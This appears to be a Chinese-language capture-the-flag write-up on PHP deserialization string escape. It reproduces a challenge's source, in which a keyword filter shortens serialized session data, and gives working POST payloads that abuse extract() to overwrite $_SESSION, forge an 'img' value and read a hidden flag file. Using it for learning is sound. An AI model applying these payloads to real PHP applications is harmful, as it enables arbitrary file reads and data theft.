反序列化键值逃逸和键名逃逸.
上源码:
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } ?>
源码中提到phpinfo,首先看一下phpinfo.
猜测flag应该就是在此文件中.
本题无法直接控制img
的值,但由于本题会将$filter_arr
中的关键词置换为空,所以可以通过键值逃逸的方法利用function
的值去修改img
的值,并且源码中有extract($_POST);
,可以发送post请求覆盖session.
payload:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=k";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"leuk";s:5:"hello";}
payload的序列化:a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"k";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"leuk";s:5:"hello";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
反序列化后:array(3) { ["user"]=> string(24) "";s:8:"function";s:65:"k" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" ["leuk"]=> string(5) "hello" }
可以看到s:24
将后面的";s:8:"function";s:65:"k
都给吞掉了,后面的img也成功被修改为我们所写的值.另外由于session有三个键,所以构造payload时要自行加一个键值对.
将payloadpost过去,get请求f=show_image
,跳转后f12可以看见提示:
?php $flag = 'flag in /d0g3_fllllllag'; ?
最终payload:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=k";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:4:"leuk";s:5:"hello";}
,发送payload,即可获得flag.(将一开始的payload中的img的值改为/d0g3_fllllllag
经base64编码后的字符串即可.)
键名逃逸原理一样,最终payload:_SESSION[flagphp]=;s:4:"leuk";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
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